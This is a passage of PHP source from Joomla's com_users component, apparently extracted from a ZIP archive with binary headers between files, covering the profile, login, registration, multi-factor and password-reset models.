        $form = $this->loadForm('com_users.profile', 'profile', ['control' => 'jform', 'load_data' => $loadData]);

        if (empty($form)) {
            return false;
        }

        // Check for username compliance and parameter set
        $isUsernameCompliant = true;
        $username            = $loadData ? $form->getValue('username') : $this->loadFormData()->username;

        if ($username) {
            $isUsernameCompliant  = !(preg_match('#[<>"\'%;()&\\\\]|\\.\\./#', $username)
                || strlen(mb_convert_encoding($username, 'ISO-8859-1', 'UTF-8')) < 2
                || trim($username) !== $username);
        }

        $this->setState('user.username.compliant', $isUsernameCompliant);

        if ($isUsernameCompliant && !ComponentHelper::getParams('com_users')->get('change_login_name')) {
            $form->setFieldAttribute('username', 'class', '');
            $form->setFieldAttribute('username', 'filter', '');
            $form->setFieldAttribute('username', 'description', 'COM_USERS_PROFILE_NOCHANGE_USERNAME_DESC');
            $form->setFieldAttribute('username', 'validate', '');
            $form->setFieldAttribute('username', 'message', '');
            $form->setFieldAttribute('username', 'readonly', 'true');
            $form->setFieldAttribute('username', 'required', 'false');
        }

        // When multilanguage is set, a user's default site language should also be a Content Language
        if (Multilanguage::isEnabled()) {
            $form->setFieldAttribute('language', 'type', 'frontend_language', 'params');
        }

        // If the user needs to change their password, mark the password fields as required
        if ($this->getCurrentUser()->requireReset) {
            $form->setFieldAttribute('password1', 'required', 'true');
            $form->setFieldAttribute('password2', 'required', 'true');
        }

        return $form;
    }

    /**
     * Method to get the data that should be injected in the form.
     *
     * @return  mixed  The data for the form.
     *
     * @since   1.6
     */
    protected function loadFormData()
    {
        $data = $this->getData();

        $this->preprocessData('com_users.profile', $data, 'user');

        return $data;
    }

    /**
     * Override preprocessForm to load the user plugin group instead of content.
     *
     * @param   Form    $form   A Form object.
     * @param   mixed   $data   The data expected for the form.
     * @param   string  $group  The name of the plugin group to import (defaults to "content").
     *
     * @return  void
     *
     * @throws  \Exception if there is an error in the form event.
     *
     * @since   1.6
     */
    protected function preprocessForm(Form $form, $data, $group = 'user')
    {
        if (ComponentHelper::getParams('com_users')->get('frontend_userparams')) {
            $form->loadFile('frontend', false);

            if ($this->getCurrentUser()->authorise('core.login.admin')) {
                $form->loadFile('frontend_admin', false);
            }
        }

        parent::preprocessForm($form, $data, $group);
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    protected function populateState()
    {
        // Get the application object.
        $params = Factory::getApplication()->getParams('com_users');

        // Get the user id.
        $userId = Factory::getApplication()->getUserState('com_users.edit.profile.id');
        $userId = !empty($userId) ? $userId : (int) $this->getCurrentUser()->get('id');

        // Set the user id.
        $this->setState('user.id', $userId);

        // Load the parameters.
        $this->setState('params', $params);
    }

    /**
     * Method to save the form data.
     *
     * @param   array  $data  The form data.
     *
     * @return  mixed  The user id on success, false on failure.
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function save($data)
    {
        $userId = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('user.id');

        $user = new User($userId);

        // Prepare the data for the user object.
        $data['email']    = PunycodeHelper::emailToPunycode($data['email1']);
        $data['password'] = $data['password1'];

        // Unset the username if it should not be overwritten
        $isUsernameCompliant = $this->getState('user.username.compliant');

        if ($isUsernameCompliant && !ComponentHelper::getParams('com_users')->get('change_login_name')) {
            unset($data['username']);
        }

        // Unset block and sendEmail so they do not get overwritten
        unset($data['block'], $data['sendEmail']);

        // Bind the data.
        if (!$user->bind($data)) {
            $this->setError($user->getError());

            return false;
        }

        // Load the users plugin group.
        PluginHelper::importPlugin('user');

        // Retrieve the user groups so they don't get overwritten
        unset($user->groups);
        $user->groups = Access::getGroupsByUser($user->id, false);

        // Store the data.
        if (!$user->save()) {
            $this->setError($user->getError());

            return false;
        }

        // Destroy all active sessions for the user after changing the password
        if ($data['password1']) {
            UserHelper::destroyUserSessions($user->id, true);
        }

        return $user->id;
    }

    /**
     * Gets the configuration forms for all two-factor authentication methods
     * in an array.
     *
     * @param   integer  $userId  The user ID to load the forms for (optional)
     *
     * @return  array
     *
     * @since   3.2
     *
     * @deprecated   4.2 will be removed in 6.0.
     *               Will be removed without replacement
     */
    public function getTwofactorform($userId = null)
    {
        return [];
    }

    /**
     * No longer used
     *
     * @param   integer  $userId  Ignored
     *
     * @return  \stdClass
     *
     * @since   3.2
     *
     * @deprecated   4.2 will be removed in 6.0.
     *               Will be removed without replacement
     */
    public function getOtpConfig($userId = null)
    {
        @trigger_error(
            sprintf(
                '%s() is deprecated. Use \Joomla\Component\Users\Administrator\Helper\Mfa::getUserMfaRecords() instead.',
                __METHOD__
            ),
            E_USER_DEPRECATED
        );

        /** @var UserModel $model */
        $model = $this->bootComponent('com_users')
            ->getMVCFactory()->createModel('User', 'Administrator');

        return $model->getOtpConfig();
    }
}
PK���\����**#com_users/src/Model/MethodModel.phpnu�[���<?php

/**
 * @package    Joomla.Administrator
 * @subpackage com_users
 *
 * @copyright  (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Model;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Multi-factor Authentication Method management model
 *
 * @since 4.2.0
 */
class MethodModel extends \Joomla\Component\Users\Administrator\Model\MethodModel
{
}
PK���\�T�}}"com_users/src/Model/LoginModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\Model\FormModel;
use Joomla\CMS\Uri\Uri;
use Joomla\Database\ParameterType;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Login model class for Users.
 *
 * @since  1.6
 */
class LoginModel extends FormModel
{
    /**
     * Method to get the login form.
     *
     * The base form is loaded from XML and then an event is fired
     * for users plugins to extend the form with extra fields.
     *
     * @param   array    $data      An optional array of data for the form to interrogate.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form    A Form object on success, false on failure
     *
     * @since   1.6
     */
    public function getForm($data = [], $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_users.login', 'login', ['load_data' => $loadData]);

        if (empty($form)) {
            return false;
        }

        return $form;
    }

    /**
     * Method to get the data that should be injected in the form.
     *
     * @return  array  The default data is an empty array.
     *
     * @since   1.6
     * @throws  \Exception
     */
    protected function loadFormData()
    {
        // Check the session for previously entered login form data.
        $app  = Factory::getApplication();
        $data = $app->getUserState('users.login.form.data', []);

        $input = $app->getInput()->getInputForRequestMethod();

        // Check for return URL from the request first
        if ($return = $input->get('return', '', 'BASE64')) {
            $data['return'] = base64_decode($return);

            if (!Uri::isInternal($data['return'])) {
                $data['return'] = '';
            }
        }

        $app->setUserState('users.login.form.data', $data);

        $this->preprocessData('com_users.login', $data);

        return $data;
    }

    /**
     * Method to auto-populate the model state.
     *
     * Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    protected function populateState()
    {
        // Get the application object.
        $params = Factory::getApplication()->getParams('com_users');

        // Load the parameters.
        $this->setState('params', $params);
    }

    /**
     * Override Joomla\CMS\MVC\Model\AdminModel::preprocessForm to ensure the correct plugin group is loaded.
     *
     * @param   Form    $form   A Form object.
     * @param   mixed   $data   The data expected for the form.
     * @param   string  $group  The name of the plugin group to import (defaults to "content").
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception if there is an error in the form event.
     */
    protected function preprocessForm(Form $form, $data, $group = 'user')
    {
        parent::preprocessForm($form, $data, $group);
    }

    /**
     * Returns the language for the given menu id.
     *
     * @param  int  $id  The menu id
     *
     * @return string
     *
     * @since  4.2.0
     */
    public function getMenuLanguage(int $id): string
    {
        if (!Multilanguage::isEnabled()) {
            return '';
        }

        $db    = $this->getDatabase();
        $query = $db->getQuery(true)
            ->select($db->quoteName('language'))
            ->from($db->quoteName('#__menu'))
            ->where($db->quoteName('client_id') . ' = 0')
            ->where($db->quoteName('id') . ' = :id')
            ->bind(':id', $id, ParameterType::INTEGER);

        $db->setQuery($query);

        try {
            return $db->loadResult();
        } catch (\RuntimeException $e) {
            return '';
        }
    }
}
PK���\Su�Y�Y)com_users/src/Model/RegistrationModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Model;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormFactoryInterface;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Mail\MailTemplate;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\FormModel;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserHelper;
use Joomla\Database\ParameterType;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Registration model class for Users.
 *
 * @since  1.6
 */
class RegistrationModel extends FormModel
{
    /**
     * @var    object  The user registration data.
     * @since  1.6
     */
    protected $data;

    /**
     * Constructor.
     *
     * @param   array                 $config       An array of configuration options (name, state, dbo, table_path, ignore_request).
     * @param   MVCFactoryInterface   $factory      The factory.
     * @param   FormFactoryInterface  $formFactory  The form factory.
     *
     * @see     \Joomla\CMS\MVC\Model\BaseDatabaseModel
     * @since   3.2
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, FormFactoryInterface $formFactory = null)
    {
        $config = array_merge(
            [
                'events_map' => ['validate' => 'user'],
            ],
            $config
        );

        parent::__construct($config, $factory, $formFactory);
    }

    /**
     * Method to get the user ID from the given token
     *
     * @param   string  $token  The activation token.
     *
     * @return  mixed   False on failure, id of the user on success
     *
     * @since   3.8.13
     */
    public function getUserIdFromToken($token)
    {
        $db       = $this->getDatabase();

        // Get the user id based on the token.
        $query = $db->getQuery(true);
        $query->select($db->quoteName('id'))
            ->from($db->quoteName('#__users'))
            ->where($db->quoteName('activation') . ' = :activation')
            ->where($db->quoteName('block') . ' = 1')
            ->where($db->quoteName('lastvisitDate') . ' IS NULL')
            ->bind(':activation', $token);
        $db->setQuery($query);

        try {
            return (int) $db->loadResult();
        } catch (\RuntimeException $e) {
            $this->setError(Text::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()));

            return false;
        }
    }

    /**
     * Method to activate a user account.
     *
     * @param   string  $token  The activation token.
     *
     * @return  mixed    False on failure, user object on success.
     *
     * @since   1.6
     */
    public function activate($token)
    {
        $app        = Factory::getApplication();
        $userParams = ComponentHelper::getParams('com_users');
        $userId     = $this->getUserIdFromToken($token);

        // Check for a valid user id.
        if (!$userId) {
            $this->setError(Text::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND'));

            return false;
        }

        // Load the users plugin group.
        PluginHelper::importPlugin('user');

        // Activate the user.
        $user = Factory::getUser($userId);

        // Admin activation is on and user is verifying their email
        if (($userParams->get('useractivation') == 2) && !$user->getParam('activate', 0)) {
            $linkMode = $app->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

            // Compile the admin notification mail values.
            $data               = $user->getProperties();
            $data['activation'] = ApplicationHelper::getHash(UserHelper::genRandomPassword());
            $user->set('activation', $data['activation']);
            $data['siteurl']  = Uri::base();
            $data['activate'] = Route::link(
                'site',
                'index.php?option=com_users&task=registration.activate&token=' . $data['activation'],
                false,
                $linkMode,
                true
            );

            $data['fromname'] = $app->get('fromname');
            $data['mailfrom'] = $app->get('mailfrom');
            $data['sitename'] = $app->get('sitename');
            $user->setParam('activate', 1);

            // Get all admin users
            $db    = $this->getDatabase();
            $query = $db->getQuery(true)
                ->select($db->quoteName(['name', 'email', 'sendEmail', 'id']))
                ->from($db->quoteName('#__users'))
                ->where($db->quoteName('sendEmail') . ' = 1')
                ->where($db->quoteName('block') . ' = 0');

            $db->setQuery($query);

            try {
                $rows = $db->loadObjectList();
            } catch (\RuntimeException $e) {
                $this->setError(Text::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()));

                return false;
            }

            // Send mail to all users with users creating permissions and receiving system emails
            foreach ($rows as $row) {
                $usercreator = Factory::getUser($row->id);

                if ($usercreator->authorise('core.create', 'com_users') && $usercreator->authorise('core.manage', 'com_users')) {
                    try {
                        $mailer = new MailTemplate('com_users.registration.admin.verification_request', $app->getLanguage()->getTag());
                        $mailer->addTemplateData($data);
                        $mailer->addRecipient($row->email);
                        $return = $mailer->send();
                    } catch (\Exception $exception) {
                        try {
                            Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror');

                            $return = false;
                        } catch (\RuntimeException $exception) {
                            Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning');

                            $return = false;
                        }
                    }

                    // Check for an error.
                    if ($return !== true) {
                        $this->setError(Text::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED'));

                        return false;
                    }
                }
            }
        } elseif (($userParams->get('useractivation') == 2) && $user->getParam('activate', 0)) {
            // Admin activation is on and admin is activating the account
            $user->set('activation', '');
            $user->set('block', '0');

            // Compile the user activated notification mail values.
            $data = $user->getProperties();
            $user->setParam('activate', 0);
            $data['fromname'] = $app->get('fromname');
            $data['mailfrom'] = $app->get('mailfrom');
            $data['sitename'] = $app->get('sitename');
            $data['siteurl']  = Uri::base();
            $mailer           = new MailTemplate('com_users.registration.user.admin_activated', $app->getLanguage()->getTag());
            $mailer->addTemplateData($data);
            $mailer->addRecipient($data['email']);

            try {
                $return = $mailer->send();
            } catch (\Exception $exception) {
                try {
                    Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror');

                    $return = false;
                } catch (\RuntimeException $exception) {
                    Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning');

                    $return = false;
                }
            }

            // Check for an error.
            if ($return !== true) {
                $this->setError(Text::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED'));

                return false;
            }
        } else {
            $user->set('activation', '');
            $user->set('block', '0');
        }

        // Store the user object.
        if (!$user->save()) {
            $this->setError(Text::sprintf('COM_USERS_REGISTRATION_ACTIVATION_SAVE_FAILED', $user->getError()));

            return false;
        }

        return $user;
    }

    /**
     * Method to get the registration form data.
     *
     * The base form data is loaded and then an event is fired
     * for users plugins to extend the data.
     *
     * @return  mixed  Data object on success, false on failure.
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function getData()
    {
        if ($this->data === null) {
            $this->data = new \stdClass();
            $app        = Factory::getApplication();
            $params     = ComponentHelper::getParams('com_users');

            // Override the base user data with any data in the session.
            $temp = (array) $app->getUserState('com_users.registration.data', []);

            // Don't load the data in this getForm call, or we'll call ourself
            $form = $this->getForm([], false);

            foreach ($temp as $k => $v) {
                // Here we could have a grouped field, let's check it
                if (is_array($v)) {
                    $this->data->$k = new \stdClass();

                    foreach ($v as $key => $val) {
                        if ($form->getField($key, $k) !== false) {
                            $this->data->$k->$key = $val;
                        }
                    }
                } elseif ($form->getField($k) !== false) {
                    // Only merge the field if it exists in the form.
                    $this->data->$k = $v;
                }
            }

            // Get the groups the user should be added to after registration.
            $this->data->groups = [];

            // Get the default new user group, guest or public group if not specified.
            $system = $params->get('new_usertype', $params->get('guest_usergroup', 1));

            $this->data->groups[] = $system;

            // Unset the passwords.
            unset($this->data->password1, $this->data->password2);

            // Get the dispatcher and load the users plugins.
            PluginHelper::importPlugin('user');

            // Trigger the data preparation event.
            Factory::getApplication()->triggerEvent('onContentPrepareData', ['com_users.registration', $this->data]);
        }

        return $this->data;
    }

    /**
     * Method to get the registration form.
     *
     * The base form is loaded from XML and then an event is fired
     * for users plugins to extend the form with extra fields.
     *
     * @param   array    $data      An optional array of data for the form to interrogate.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form  A Form object on success, false on failure
     *
     * @since   1.6
     */
    public function getForm($data = [], $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_users.registration', 'registration', ['control' => 'jform', 'load_data' => $loadData]);

        if (empty($form)) {
            return false;
        }

        // When multilanguage is set, a user's default site language should also be a Content Language
        if (Multilanguage::isEnabled()) {
            $form->setFieldAttribute('language', 'type', 'frontend_language', 'params');
        }

        return $form;
    }

    /**
     * Method to get the data that should be injected in the form.
     *
     * @return  mixed  The data for the form.
     *
     * @since   1.6
     */
    protected function loadFormData()
    {
        $data = $this->getData();

        if (Multilanguage::isEnabled() && empty($data->language)) {
            $data->language = Factory::getLanguage()->getTag();
        }

        $this->preprocessData('com_users.registration', $data);

        return $data;
    }

    /**
     * Override preprocessForm to load the user plugin group instead of content.
     *
     * @param   Form    $form   A Form object.
     * @param   mixed   $data   The data expected for the form.
     * @param   string  $group  The name of the plugin group to import (defaults to "content").
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception if there is an error in the form event.
     */
    protected function preprocessForm(Form $form, $data, $group = 'user')
    {
        $userParams = ComponentHelper::getParams('com_users');

        // Add the choice for site language at registration time
        if ($userParams->get('site_language') == 1 && $userParams->get('frontend_userparams') == 1) {
            $form->loadFile('sitelang', false);
        }

        parent::preprocessForm($form, $data, $group);
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    protected function populateState()
    {
        // Get the application object.
        $app    = Factory::getApplication();
        $params = $app->getParams('com_users');

        // Load the parameters.
        $this->setState('params', $params);
    }

    /**
     * Method to save the form data.
     *
     * @param   array  $temp  The form data.
     *
     * @return  mixed  The user id on success, false on failure.
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function register($temp)
    {
        $params = ComponentHelper::getParams('com_users');

        // Initialise the table with Joomla\CMS\User\User.
        $user = new User();
        $data = (array) $this->getData();

        // Merge in the registration data.
        foreach ($temp as $k => $v) {
            $data[$k] = $v;
        }

        // Prepare the data for the user object.
        $data['email']    = PunycodeHelper::emailToPunycode($data['email1']);
        $data['password'] = $data['password1'];
        $useractivation   = $params->get('useractivation');
        $sendpassword     = $params->get('sendpassword', 1);

        // Check if the user needs to activate their account.
        if (($useractivation == 1) || ($useractivation == 2)) {
            $data['activation'] = ApplicationHelper::getHash(UserHelper::genRandomPassword());
            $data['block']      = 1;
        }

        // Bind the data.
        if (!$user->bind($data)) {
            $this->setError($user->getError());

            return false;
        }

        // Load the users plugin group.
        PluginHelper::importPlugin('user');

        // Store the data.
        if (!$user->save()) {
            $this->setError(Text::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $user->getError()));

            return false;
        }

        $app   = Factory::getApplication();
        $db    = $this->getDatabase();
        $query = $db->getQuery(true);

        // Compile the notification mail values.
        $data             = $user->getProperties();
        $data['fromname'] = $app->get('fromname');
        $data['mailfrom'] = $app->get('mailfrom');
        $data['sitename'] = $app->get('sitename');
        $data['siteurl']  = Uri::root();

        // Handle account activation/confirmation emails.
        if ($useractivation == 2) {
            // Set the link to confirm the user email.
            $linkMode = $app->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

            $data['activate'] = Route::link(
                'site',
                'index.php?option=com_users&task=registration.activate&token=' . $data['activation'],
                false,
                $linkMode,
                true
            );

            $mailtemplate = 'com_users.registration.user.admin_activation';
        } elseif ($useractivation == 1) {
            // Set the link to activate the user account.
            $linkMode = $app->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

            $data['activate'] = Route::link(
                'site',
                'index.php?option=com_users&task=registration.activate&token=' . $data['activation'],
                false,
                $linkMode,
                true
            );

            $mailtemplate = 'com_users.registration.user.self_activation';
        } else {
            $mailtemplate = 'com_users.registration.user.registration_mail';
        }

        if ($sendpassword) {
            $mailtemplate .= '_w_pw';
        }

        // Try to send the registration email.
        try {
            $mailer = new MailTemplate($mailtemplate, $app->getLanguage()->getTag());
            $mailer->addTemplateData($data);
            $mailer->addRecipient($data['email']);
            $mailer->addUnsafeTags(['username', 'password_clear', 'name']);
            $return = $mailer->send();
        } catch (\Exception $exception) {
            try {
                Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror');

                $return = false;
            } catch (\RuntimeException $exception) {
                Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning');

                $this->setError(Text::_('COM_MESSAGES_ERROR_MAIL_FAILED'));

                $return = false;
            }
        }

        // Send mail to all users with user creating permissions and receiving system emails
        if (($params->get('useractivation') < 2) && ($params->get('mail_to_admin') == 1)) {
            // Get all admin users
            $query->clear()
                ->select($db->quoteName(['name', 'email', 'sendEmail', 'id']))
                ->from($db->quoteName('#__users'))
                ->where($db->quoteName('sendEmail') . ' = 1')
                ->where($db->quoteName('block') . ' = 0');

            $db->setQuery($query);

            try {
                $rows = $db->loadObjectList();
            } catch (\RuntimeException $e) {
                $this->setError(Text::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()));

                return false;
            }

            // Send mail to all superadministrators id
            foreach ($rows as $row) {
                $usercreator = Factory::getUser($row->id);

                if (!$usercreator->authorise('core.create', 'com_users') || !$usercreator->authorise('core.manage', 'com_users')) {
                    continue;
                }

                try {
                    $mailer = new MailTemplate('com_users.registration.admin.new_notification', $app->getLanguage()->getTag());
                    $mailer->addTemplateData($data);
                    $mailer->addRecipient($row->email);
                    $mailer->addUnsafeTags(['username', 'name']);
                    $return = $mailer->send();
                } catch (\Exception $exception) {
                    try {
                        Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror');

                        $return = false;
                    } catch (\RuntimeException $exception) {
                        Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning');

                        $return = false;
                    }
                }

                // Check for an error.
                if ($return !== true) {
                    $this->setError(Text::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED'));

                    return false;
                }
            }
        }

        // Check for an error.
        if ($return !== true) {
            $this->setError(Text::_('COM_USERS_REGISTRATION_SEND_MAIL_FAILED'));

            // Send a system message to administrators receiving system mails
            $db = $this->getDatabase();
            $query->clear()
                ->select($db->quoteName('id'))
                ->from($db->quoteName('#__users'))
                ->where($db->quoteName('block') . ' = 0')
                ->where($db->quoteName('sendEmail') . ' = 1');
            $db->setQuery($query);

            try {
                $userids = $db->loadColumn();
            } catch (\RuntimeException $e) {
                $this->setError(Text::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()));

                return false;
            }

            if (count($userids) > 0) {
                $jdate     = new Date();
                $dateToSql = $jdate->toSql();
                $subject   = Text::_('COM_USERS_MAIL_SEND_FAILURE_SUBJECT');
                $message   = Text::sprintf('COM_USERS_MAIL_SEND_FAILURE_BODY', $data['username']);

                // Build the query to add the messages
                foreach ($userids as $userid) {
                    $values = [
                        ':user_id_from',
                        ':user_id_to',
                        ':date_time',
                        ':subject',
                        ':message',
                    ];
                    $query->clear()
                        ->insert($db->quoteName('#__messages'))
                        ->columns($db->quoteName(['user_id_from', 'user_id_to', 'date_time', 'subject', 'message']))
                        ->values(implode(',', $values));
                    $query->bind(':user_id_from', $userid, ParameterType::INTEGER)
                        ->bind(':user_id_to', $userid, ParameterType::INTEGER)
                        ->bind(':date_time', $dateToSql)
                        ->bind(':subject', $subject)
                        ->bind(':message', $message);

                    $db->setQuery($query);

                    try {
                        $db->execute();
                    } catch (\RuntimeException $e) {
                        $this->setError(Text::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()));

                        return false;
                    }
                }
            }

            return false;
        }

        if ($useractivation == 1) {
            return 'useractivate';
        } elseif ($useractivation == 2) {
            return 'adminactivate';
        } else {
            return $user->id;
        }
    }
}
PK���\Q�ˣ  (com_users/src/Model/BackupcodesModel.phpnu�[���<?php

/**
 * @package    Joomla.Administrator
 * @subpackage com_users
 *
 * @copyright  (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Model;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Model for managing backup codes
 *
 * @since 4.2.0
 */
class BackupcodesModel extends \Joomla\Component\Users\Administrator\Model\BackupcodesModel
{
}
PK���\���..$com_users/src/Model/MethodsModel.phpnu�[���<?php

/**
 * @package    Joomla.Administrator
 * @subpackage com_users
 *
 * @copyright  (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Model;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Multi-factor Authentication Methods list page's model
 *
 * @since 4.2.0
 */
class MethodsModel extends \Joomla\Component\Users\Administrator\Model\MethodsModel
{
}
PK���\z��
1@1@"com_users/src/Model/ResetModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Model;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Event\AbstractEvent;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Mail\MailTemplate;
use Joomla\CMS\MVC\Model\FormModel;
use Joomla\CMS\Router\Route;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Reset model class for Users.
 *
 * @since  1.5
 */
class ResetModel extends FormModel
{
    /**
     * Method to get the password reset request form.
     *
     * The base form is loaded from XML and then an event is fired
     * for users plugins to extend the form with extra fields.
     *
     * @param   array    $data      An optional array of data for the form to interrogate.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form  A Form object on success, false on failure
     *
     * @since   1.6
     */
    public function getForm($data = [], $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_users.reset_request', 'reset_request', ['control' => 'jform', 'load_data' => $loadData]);

        if (empty($form)) {
            return false;
        }

        return $form;
    }

    /**
     * Method to get the password reset complete form.
     *
     * @param   array    $data      Data for the form.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form    A Form object on success, false on failure
     *
     * @since   1.6
     */
    public function getResetCompleteForm($data = [], $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_users.reset_complete', 'reset_complete', $options = ['control' => 'jform']);

        if (empty($form)) {
            return false;
        }

        return $form;
    }

    /**
     * Method to get the password reset confirm form.
     *
     * @param   array    $data      Data for the form.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form  A Form object on success, false on failure
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function getResetConfirmForm($data = [], $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_users.reset_confirm', 'reset_confirm', $options = ['control' => 'jform']);

        if (empty($form)) {
            return false;
        } else {
            $form->setValue('token', '', Factory::getApplication()->getInput()->get('token'));
        }

        return $form;
    }

    /**
     * Override preprocessForm to load the user plugin group instead of content.
     *
     * @param   Form    $form   A Form object.
     * @param   mixed   $data   The data expected for the form.
     * @param   string  $group  The name of the plugin group to import (defaults to "content").
     *
     * @return  void
     *
     * @throws  \Exception if there is an error in the form event.
     *
     * @since   1.6
     */
    protected function preprocessForm(Form $form, $data, $group = 'user')
    {
        parent::preprocessForm($form, $data, $group);
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    protected function populateState()
    {
        // Get the application object.
        $params = Factory::getApplication()->getParams('com_users');

        // Load the parameters.
        $this->setState('params', $params);
    }

    /**
     * Save the new password after reset is done
     *
     * @param   array  $data  The data expected for the form.
     *
     * @return  mixed  \Exception | boolean
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function processResetComplete($data)
    {
        // Get the form.
        $form = $this->getResetCompleteForm();

        // Check for an error.
        if ($form instanceof \Exception) {
            return $form;
        }

        // Filter and validate the form data.
        $data   = $form->filter($data);
        $return = $form->validate($data);

        // Check for an error.
        if ($return instanceof \Exception) {
            return $return;
        }

        // Check the validation results.
        if ($return === false) {
            // Get the validation messages from the form.
            foreach ($form->getErrors() as $formError) {
                $this->setError($formError->getMessage());
            }

            return false;
        }

        // Get the token and user id from the confirmation process.
        $app    = Factory::getApplication();
        $token  = $app->getUserState('com_users.reset.token', null);
        $userId = $app->getUserState('com_users.reset.user', null);

        // Check the token and user id.
        if (empty($token) || empty($userId)) {
            return new \Exception(Text::_('COM_USERS_RESET_COMPLETE_TOKENS_MISSING'), 403);
        }

        // Get the user object.
